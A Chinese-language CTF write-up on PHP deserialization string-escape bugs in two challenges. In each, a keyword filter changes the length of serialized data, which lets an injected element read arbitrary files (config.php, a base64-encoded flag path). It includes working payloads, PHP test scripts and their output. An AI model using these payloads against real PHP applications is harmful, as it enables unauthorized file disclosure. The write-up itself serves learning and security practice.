CTF
比賽瞭解PHP
反序列化,記錄本身的學習。 www.zip
發現備份的源碼,有一下文件,flag就在config.php
,所以讀取便可class.php //主要有mysql類(mysql基本操做)和user類(繼承mysql實現功能點) config.php //環境配置 index.php //登錄 profile.php //查看本身上傳的文件 register.php //註冊 update.php //文件上傳
SQL
咯,發現class.php
中mysql
類的filter過濾函數,過濾了增刪查改,基本無望.profile.php
中發現對上傳的文件進行反序列化處理,並對文件$profile['photo']
進行讀取.咱們再回到文件上傳點,發現$profile['photo'] = 'upload/' . md5($file['name']);
,可是咱們沒法獲取加密後的文件值,後面有又看到文件上傳是先序列化,再進過filter
函數替換一些關鍵字,再反序列化,所以文件可能發生改變,所以可能有漏洞;
做爲分隔點,}
作爲結束標誌,根據長度來判斷讀取多少字符,咱們沒法控制$profile['photo']
可是能夠控制nickname
,而nickname
又進行了長度限制,strlen
函數卻沒法處理數組,所以用數組進行繞過便可咱們在這裏截斷,那麼後面的則會被廢棄再也不讀取,而咱們要構造的的payload是,最開始的";}
是爲了閉合前面數組nickname
的{
,後面的;}
是爲了截斷,讓反序列化結束,再也不讀取後面的內容,固然這些都不能是字符哈.";}s:5:"photo";s:10:"config.php";}
這時構造了payload
,那麼就要來計算溢出數量了,咱們構造的payload長度爲34,那麼就要增長34個長度,因爲where
變成hacker
會增長一個長度,那麼咱們就須要34個where
,最終payloadphp
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
<?php function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } $profile = array( 'phone'=>'01234567890', 'email'=>'12345678@11.com', 'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'), 'photo'=>'upload/'.md5('1.jpg') ); print_r(serialize($profile)); echo PHP_EOL; print_r(filter(serialize($profile))); echo PHP_EOL; var_dump(unserialize(filter(serialize($profile)))); echo PHP_EOL; ?>
filter
函數反序列化時,nickname
數組的第一個值沒被截斷是一個總體wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},恰好204個長度,通過filter過濾函數後,where
變成了hacker
,反序列化的長度變化了,可是又只讀取204的長度,則s:5:"photo";s:10:"config.php";}";}就多出來了,做爲另外一個反序列化的其中一個元素,而末尾的'}
又不是字符,所以被認爲反序列化結束了,後面的內容被丟棄,所以能夠任意讀取文件.a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";} array(4) { 'phone' => string(11) "01234567890" 'email' => string(15) "12345678@11.com" 'nickname' => array(1) { [0] => string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" } 'photo' => string(10) "config.php" }
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
extract
變量覆蓋,file_get_contents
任意文件讀取.$userinfo['img']
逆推回去發現,是由參數img_path
控制的,可是通過sha1
加密,咱們沒法得知加密後內容,但結合前面的extract
變量覆蓋,咱們能夠本身POST構造.filter
函數替換一些字符(那麼此時序列化後的數據則發生了變化,可能存在漏洞),再反序列化,讀取參數值.img
,user
,function
,而咱們能控制的只有後面兩個,咱們須要構造的payload是這樣的f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
img
的值,咱們本身來構造這個值,只有兩個參數,必須在function
哪裏截斷,而這個反序列是長度遞減,那麼就是選擇元素吞噬(吞噬的長度本身酌情參考,通常是到本身能控制的點就好)後面的長度,來構造本身的payload咯,咱們就選user
元素吧,len('";s:8:"function";s:10:"'
)的長度爲23,可是咱們沒法構造23個長度,咱們能夠多吞噬一個,24個字符,那麼就用6個flag
就好,可是這樣後面的序列化就混亂了,咱們就要添加本身的payload,並補全.雖然這樣補好了,可是隻有兩個元素,這裏須要三個元素,咱們就再添加元素,並將後面的img
進行截斷a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}
}
便可,而且不爲讀取的字符便可,所以添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}
,這裏咱們新增了一個元素,所以吞噬後function
元素消失了,隨便補充好元素便可.<?php function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } $arr = array( "user"=>"flagflagflagflagflagflag", "function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}', //"user"=>'guest', //"function"=>'show_image', "img"=>sha1(base64_encode('guest_img.png')) ); print_r(serialize($arr)); echo PHP_EOL; print_r(filter(serialize($arr))); echo PHP_EOL; print_r(unserialize(filter(serialize($arr)))); ?>
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";} Array ( [user] => ";s:8:"function";s:62:"2 [img] => ZDBnM19mMWFnLnBocA== [tql] => tql )